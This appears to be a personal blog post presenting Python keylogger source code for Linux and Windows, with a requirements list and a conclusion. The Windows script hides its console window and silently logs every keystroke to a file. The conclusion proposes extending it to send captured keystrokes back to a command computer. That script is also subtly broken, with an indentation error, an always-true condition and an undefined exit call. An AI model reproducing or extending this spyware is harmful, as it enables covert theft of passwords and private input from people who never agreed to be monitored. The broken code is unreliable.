Home Keylogger in Python
Post
Cancel

Keylogger in Python

Introduction

One of my first projects was a simple Python Keylogger. There is definitely more I could add and improve on but here is the code for now.

Requirements

1
2
3
pywin32
pyhook
python-xlib

linux_keylogger.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Python code for keylogger
# to be used in linux
import os
import pyxhook

# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
	'pylogger_file',
	os.path.expanduser('~/keylogger/logs/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
	os.environ.get(
		'pylogger_cancel',
		'`'
	)[0]
)

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
	try:
		os.remove(log_file)
	except EnvironmentError:
	# File does not exist, or no permissions.
		pass

#creating key pressing event and saving it into log file
def OnKeyPress(event):
	with open(log_file, 'a') as f:
		f.write('{}\n'.format(event.Key))

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
	new_hook.start()		 # start the hook
except KeyboardInterrupt:
	# User cancelled from command line.
	pass
except Exception as ex:
	# Write exceptions to the log file, for analysis later.
	msg = 'Error while catching events:\n {}'.format(ex)
	pyxhook.print_err(msg)
	with open(log_file, 'a') as f:
		f.write('\n{}'.format(msg))

windows_keylopgger.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
	if event.Ascii==5:
		_exit(1)
	if event.Ascii !=0 or 8:
	#open output.txt to read current keystrokes
		f = open('c:\output.txt', 'r+')
		buffer = f.read()
		f.close()
	# open output.txt to write current + new keystrokes
		f = open('c:\output.txt', 'w')
		keylogs = chr(event.Ascii)
		if event.Ascii == 13:
		keylogs = '/n'
		buffer += keylogs
		f.write(buffer)
		f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Conclusion

This keylogger as of now only works on a local computer and does not capture the keystrokes exactly as I would like. One idea to make this even better would be to package this to send to a test user (me on different computer) and have it report the keystrokes back to my command computer.

This post is licensed under CC BY 4.0 by the author.